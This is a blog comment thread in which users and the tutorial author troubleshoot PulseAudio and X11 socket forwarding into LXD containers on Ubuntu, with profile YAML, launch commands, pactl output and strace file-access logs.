connect: unix:/run/user/1000/pulse/native
gid: "1000"
listen: unix:/home/ubuntu/pulse-native
mode: "0777"
security.gid: "1000"
security.uid: "1000"
type: proxy
uid: "1000"
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X1
listen: unix:@/tmp/.X11-unix/X0
security.gid: "1000"
security.uid: "1000"
type: proxy
mygpu:
type: gpu
name: x11
used_by:
- /1.0/instances/gputest
Thanks for this incredible resource, Simos. As a non-techie user, I had given up on LXD as a container strategy for desktop use until your blog made it all work. It’s been great, especially on Bionic. But I’ve run into a problem on Focal (which is still in beta at the time of this post).
With the above “proxy” stack, pulseaudio won’t work on Focal, but your older “disk” stack will. My workaround is to segment the X11 stuff from the pulseaudio, then mix and match, depending on which OS version I’m running on my host (I multi-boot). In other words:
x11.profile is now simply:
config:
environment.DISPLAY: :0
user.user-data: |
#cloud-config
packages:
– x11-apps
– mesa-utils
description: GUI LXD profile
devices:
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X0
listen: unix:@/tmp/.X11-unix/X0
security.gid: “1000”
security.uid: “1000”
type: proxy
mygpu:
type: gpu
name: x11
used_by: []
pa_proxy.profile is:
config:
environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
user.user-data: |
#cloud-config
runcmd:
– ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
packages:
– pulseaudio
description: pulseaudio proxy LXD profile
devices:
PASocket1:
bind: container
connect: unix:/run/user/1000/pulse/native
listen: unix:/home/ubuntu/pulse-native
security.gid: “1000”
security.uid: “1000”
uid: “1000”
gid: “1000”
mode: “0777”
type: proxy
name: pa_proxy
used_by: []
pa_disk.profile is:
config:
raw.idmap: “both 1000 1000”
user.user-data: |
#cloud-config
runcmd:
– ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
– ‘echo export PULSE_SERVER=unix:/tmp/.pulse-native | tee –append /home/ubuntu/.profile’
packages:
– pulseaudio
description: pulseaudio LXD profile
devices:
PASocket:
path: /tmp/.pulse-native
source: /run/user/1000/pulse/native
type: disk
name: pa_disk
used_by:
Then launch images with either:
lxc launch ubuntu:19.10 –profile default –profile x11 –profile pa_disk mycontainer
or:
lxc launch ubuntu:19.10 –profile default –profile x11 –profile pa_proxy mycontainer
While this workaround gives me properly working containers, I’m curious as to why the proxy style of pulseaudio fails in Focal. For general ease of use, it would be nice to get your combined stack working again.
Author
I am using Ubuntu 20.04 (installation from the daily ISO two days ago), and I got sound working in the container just by using the profile in the post.
I tested with a Ubuntu 18.04 container.
If it does not work, try to debug the issue.
1. Whether the PulseAudio socket exists in /home/ubuntu/
2. You can test with
paplay
, and play any of the *.ogg files that are preinstalled on the host (after you copy to the container).3. Use
pactl info
to verify the versions of the host and the container for PulseAudio.Sorry it’s taken me so long to reply, Simos.
I thought I would wait until Focal came out of beta. That has now happened and the problem persists.
I should note that the identical problem shows up on two different laptops. Also note that the laptops are installed using whole disk ZFS. The LXD containers are housed in /rpool/containers. The same problem with both 18.04 and 20.04 containers.
I cannot carry out any of the steps in your suggestions because the container will not launch at all. All attempts to launch/start will crash out with the following errors:
duckhook@Hermes: ~$ lxc launch ubuntu:18.04 –profile default –profile x11 browsers
Creating browsers
Starting browsers
Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/.pulse-native: listen unix /home/ubuntu/.pulse-native: bind: no such file or directory
Try
lxc info --show-log local:browsers
for more infoduckhook@Hermes: ~$ lxc start browsers
Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/.pulse-native: listen unix /home/ubuntu/.pulse-native: bind: no such file or directory
Try
lxc info --show-log local:browsers
for more infoduckhook@Hermes: ~$ lxc info –show-log local:browsers
Name: browsers
Location: none
Remote: unix://
Architecture: x86_64
Created: 2020/04/25 05:36 UTC
Status: Stopped
Type: container
Profiles: default, x11
Log:
lxc browsers 20200425053713.241 ERROR cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1143 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.browsers”
lxc browsers 20200425053713.244 ERROR cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1143 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.browsers”
lxc browsers 20200425053713.263 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1455 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
Hi Simos.
I won’t bother you further on your blog. I’ve opened an account at linuxcontainers.org and have contributed to the discourse thread there:
https://discuss.linuxcontainers.org/t/proxy-device-not-connecting-to-pulseaudio-on-lxd-host/7472/5
It just seems better to concentrate discussions onto one place.
Author
Hi!
I actually do not mind discussions on my blog. Traffic on the blog is a good thing.
On the forum there was a discussion that when a container is created, it takes some time before the
/home/ubuntu/
directory is created. And if the PASocket device is scheduled to get created but there is no/home/ubuntu/
directory yet, then it fails.However, in your case, you are trying to restart the container at a later date and still LXD cannot apply the PASocket device as if still there is no
/home/ubuntu/
directory available yet. That would be really strange, and you can debug whether/home/ubuntu/
has been created in the container that does not start, by runninglxc file push /etc/wgetrc browsers/home/ubuntu/
. This command will put some random file from the host to the stopped container in the home directory. If the home directory exists, then the command will succeed. Otherwise it will fail.I was not able to get pactl info working on a recent ubuntu18:04. after some digging, i found that:
a. if a container is created with default profile, (not gui) and if you made a apt update; apt upgrade; only then you can install pulseaudio, and pactl info will work with success without requiring any of above setup.
However, if you put in the parts just required for x11, pactl info will give fail.
Connection failure: Connection refused
pa_context_connect() failed: Connection refused
here is the config i used: (i installed pulseaudio manually)
config:
environment.DISPLAY: :0
nvidia.driver.capabilities: all
nvidia.runtime: “true”
description: GUI LXD profile
devices:
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X1
listen: unix:@/tmp/.X11-unix/X0
security.gid: “1000”
security.uid: “1000”
type: proxy
eth0:
name: eth0
network: lxdbr0
type: nic
mygpu:
type: gpu
root:
path: /
pool: default
type: disk
name: x11
used_by: []
Author
The profile has
cloud-init
instructions will performapt update; apt install pulseaudio
.You mention that you use Ubuntu 18.04. Is that just for the host?
If you are using a container other than those from
ubuntu:
(that is, fromimages:
), then you should use those that end with/cloud
because those have pre-configured cloud-init. The cloud is for cloud-init.My audio does not work. On the container
Here is pactl info
I’m am using Ubuntu 20.04 for my host and 18.04 as the guest.
Server String: /tmp/pulse-PKdhtXMmr18n/native
Library Protocol Version: 32
Server Protocol Version: 32
Is Local: yes
Client Index: 0
Tile Size: 65472
User Name: ubuntu
Host Name: mycontainer
Server Name: pulseaudio
Server Version: 11.1
Default Sample Specification: s16le 2ch 44100Hz
Default Channel Map: front-left,front-right
Default Sink: auto_null
Default Source: auto_null.monitor
Cookie: 0414:9aac
ubuntu@mycontainer:~$ pulseaudio -k
E: [pulseaudio] main.c: Failed to kill daemon: No such process
ubuntu@mycontainer:~$ pulseaudio
W: [pulseaudio] server-lookup.c: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
W: [pulseaudio] main.c: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
Author
Hi!
There is no Pulseaudio server running in the container. The container is configured so that it acts as a continuation of the host.
It is the client libraries of PulseAudio in the container that have been configured to eventually reach out to the Pulseaudio server on the host.
I could not find a package for just the Pulseaudio client libraries, therefore I install the
pulseaudio
package but do not setup the server at all.If
pactl info
does not work in the container, then we can look into that.Well the program PulseAudio Preferences (paprefs) does not work at all on the host. All the options are grayed out even though I should have the correct permissions and even as root it does not work. Can that be a part of the issue? Everything else seems to work with no issue.
Author
paprefs
would need to work if you were to enable access of PulseAudio over the network. My previous tutorials were describing how to do this, but not this one. I have not usedpaprefs
in Ubuntu 20.04 LTS so I do not know even if it is still there.Btw I used your profile so my setup should be the same as yours.
Author
You are using Ubuntu 20.04 LTS as the host, and the container is Ubuntu 18.04 (
ubuntu:18.04
), right?For audio, verify that there is a Pulseaudio socket in the container at
/home/ubuntu/pulse-native
.In some cases, when you create a X11 container, there is a race condition that the home directory
/home/ubuntu
has not been created yet, while LXD tries to create the proxy device.paprefs
is required when you tried to enable PulseAudio over the network. In this version of the guide, you are sneaking in the PulseAudio Unix socket to the container, and make the container appear to the host as if it is one more process running on the host.You need to run
pactl info
in the container. Depending on the output (socket not found? permission denied?), we can see what can be done next.ubuntu@mycontainer:~$ pactl info
Server String: /tmp/pulse-PKdhtXMmr18n/native
Library Protocol Version: 32
Server Protocol Version: 32
Is Local: yes
Client Index: 0
Tile Size: 65472
User Name: ubuntu
Host Name: mycontainer
Server Name: pulseaudio
Server Version: 11.1
Default Sample Specification: s16le 2ch 44100Hz
Default Channel Map: front-left,front-right
Default Sink: auto_null
Default Source: auto_null.monitor
Cookie: a118:e137
ubuntu@mycontainer:~$ ls -la pulse-native
srwxrwxrwx 1 ubuntu ubuntu 0 May 6 21:18 pulse-native
pulse-native is in the home directory. I do not know how to “make the container appear to the host as if it is one more process running on the host.” Is there a way for me to change the Server String in Pulseaudio so it uses /home/ubuntu/pulse-native ?
Btw thanks for trying to help. Really appreciate it and keeps my hopes up that we will find a solution! I’m new to LXD so this is a good learning experience.
Hey guess what! I fixed it! So it turns out in
/etc/pulse/client.conf
I had to manually set the default server todefault-server = /home/ubuntu/pulse-native
All I had to do is un-comment the line and paste the path in! Please share this in your tutorial as a troubleshooting tip.Author
You mentioned that your host is Ubuntu 20.04 and your container is 18.04. The
pactl info
command shows that both the PulseAudio server and client are at version 32. Ubuntu 18.04 has Pulseaudio 32, while Ubuntu 20.04 has Pulseaudio 33. Although not critical, verify your versions.In a previous comment I mention that the
cloud-init
instructions only work for theubuntu:
container images, and also theimages:xxxx/cloud
container images. If you also had to install manually thepulseaudio
package, then you used a container image that does not havecloud-init
support.Can you show me the
lxc launch
command that you have used? If it wasn’tlxc launch ubuntu:18.04 ...
, then it is not surprising that thecloud-init
section in the LXD profile did not manage to run in your container.I did not have to install anything manually. All i had to do was manually change the config. Mesa, Xorg, and Pulse were installed at setup. I copy and pasted your setup command and it worked.
Thanks for this guide. It would be cool to see a guide on setting up a firewall, USB hotplug support, and easy container to host file sharing with this tutorial.
Author
Ok, I registered in my mind that you were referring to the change in the PulseAudio configuration to enable to the Unix socket.
It is a good find that you can set
default-server = /home/ubuntu/pulse-native
and not worry about the PULSE_SERVER environment variable.Hey Simos,
First of all, thanks again for these articles. Being able to run GUI apps in LXC containers is superb when you are doing development with highly configured environments.
I recently moved from the instructions in the original article https://blog.simos.info/how-to-run-graphics-accelerated-gui-apps-in-lxd-containers-on-your-ubuntu-desktop/ this this one in order to get snaps to work. I am having audio gremlins with snaps. They don’t seem to see the audio connection. If I install firefox with
apt install
it plays audio and sees the microphone. But if I install it as a snap, no dice. Any ideas?Author
Thanks PJ!
I installed the snap version of Firefox, went over to Youtube and could listen to audio.
Since all these are reproducible, you can give me instructions of a specific case where audio does not work.
Something strange is going on with my system then… (why am I always the lucky one?). My setup is very close the exact steps given here.
I’ll fiddle with it and see if I can’t figure it out. For some reason, some apps, the Zoom client among them and snaps also, don’t seem to register audio. But other apps like Chrome work just fine. If I can figure it out, I’ll post my results.
Ok, so here’s something interesting. I added the pa cookie as a device using instructions in the “v1” article, and pointed the env var PULSE_COOKIE at it. And voila, the Zoom client now works! Snaps are still no dice. But this leads me to wonder if I have a permissions problem of some kind. Why some apps work and others don’t is really weird though.
I’m wondering if this will help: https://wiki.archlinux.org/index.php/PulseAudio/Examples
Allowing multiple users to use PulseAudio at the same time
It is sometimes desirable to run some programs as another user on the same desktop of the primary user in order to isolate the software. However, PulseAudio will not accept by default connections by the secondary users, since a PulseAudio daemon is already running for the primary user. However, a PulseAudio UNIX socket can be created in order to accept connections from other users to the main PulseAudio daemon run by the primary user.
First, edit /etc/pulse/default.pa or ~/.config/pulse/default.pa and add a directive for the unix socket to be created:
~/.config/pulse/default.pa
load-module module-native-protocol-unix auth-anonymous=1 socket=/tmp/pulse-socket
I’m thinking that if I do that, I have to change the profile to also look at /tmp/pulse-socket or wherever it gets directed to? But that ought to open remove (at least for testing purposes) any permissions questions? I’m going to try it tomorrow. I’m brain fried right now.
Author
Hi!
Snap packages run in some level of isolation, so that your system is protected.
By doing so, by default snap packages cannot access those dot directories in your home directory. For example, snap packages cannot access files in
~/.config/
. And snap packages can definitely NOT access anything from/tmp/
.Therefore, the example that you give with PULSE_COOKIE, can still work if you put the cookie in
/home/ubuntu/
instead. Just like we do with the PulseAudio socket.In the container, each and every application uses the PulseAudio client libraries to access audio services. From inside the
/etc/pulse/
directory, these client libraries only access theclient.conf
configuration.When you try to figure out how audio applications work in the container, you can
strace
to look into what files are opened when you run an audio-enabled application.client.conf
configuration but no other configuration files.Also, the access to the socket and attempt to access the cookie.The file
/etc/pulse/client.conf
has adefault-server
field. But for this field to work, the documentation says that you need toload-module
, which does not appear to work if you do not start a PulseAudio server.You might get a breakthrough if you try to setup some sort of actual PulseAudio server running in the container. I have not looked into this as for my use case, I try to avoid either a X11 server or PulseAudio server running in the container.
ok, made some progress.
It appears that something broke in Ubuntu 20. Bringing up a 19.10 based container, snaps work out of the box with with no cookie, etc. On 20.04, snaps stop working and other apps can be made to work by adding the cookie.
I ran firefox on both, and here are the logs. I’m wondering if 20 breaks for everyone else or just me?
Here is a log (using the above instructions) on 20.04. Following is a log for 19.10. I can’t really see where the issue is. Although, firefox itself notices a problem on 20. The console output for firefox says:
[Child 1107, MediaDecoderStateMachine #1] WARNING: Decoder=7fa7acfcec00 Decode error: NS_ERROR_DOM_MEDIA_FATAL_ERR (0x806e0005) - RefPtr<MediaSourceTrackDemuxer::SamplesPromise> mozilla::MediaSourceTrackDemuxer::DoGetSamples(int32_t): manager is detached.: file /builds/worker/checkouts/gecko/dom/media/MediaDecoderStateMachine.cpp, line 3370
IPDL protocol error: Handler returned error code!
###!!! [Parent][DispatchAsyncMessage] Error: PLayerTransaction::Msg_ReleaseLayer Processing error: message was deserialized, but the handler returned false (indicating failure)
Here is the file access log for 20.04 (not working, no cookie added)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpulse.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-13.99.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libcap.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpthread.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/librt.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdl.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libxcb.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsystemd.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libwrap.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libasyncns.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libFLAC.so.8", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libogg.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbis.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbisenc.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXau.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXdmcp.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblzma.so.5", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblz4.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcrypt.so.20", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnsl.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libbsd.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgpg-error.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_IDENTIFICATION", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MEASUREMENT", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TELEPHONE", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_ADDRESS", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NAME", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_PAPER", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MONETARY", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_COLLATE", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TIME", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NUMERIC", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/home/toochevere/.pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/toochevere/.config/pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/pulse/client.conf", O_RDONLY|O_CLOEXEC) = 7
openat(AT_FDCWD, "/etc/pulse/client.conf.d", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 8
openat(AT_FDCWD, "/etc/pulse/client.conf.d/01-enable-autospawn.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/toochevere/.config/pulse/cookie", O_RDONLY|O_NOCTTY|O_CLOEXEC) = 8
openat(AT_FDCWD, "/etc/machine-id", O_RDONLY|O_CLOEXEC) = 8
And here is the log for 19.10 (working, no cookie added)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpulse.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-13.0.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libcap.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpthread.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/librt.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdl.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libxcb.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsystemd.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libwrap.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libasyncns.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libFLAC.so.8", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libogg.so.0", O_RDONLY|O_CLOEXEC) = 3
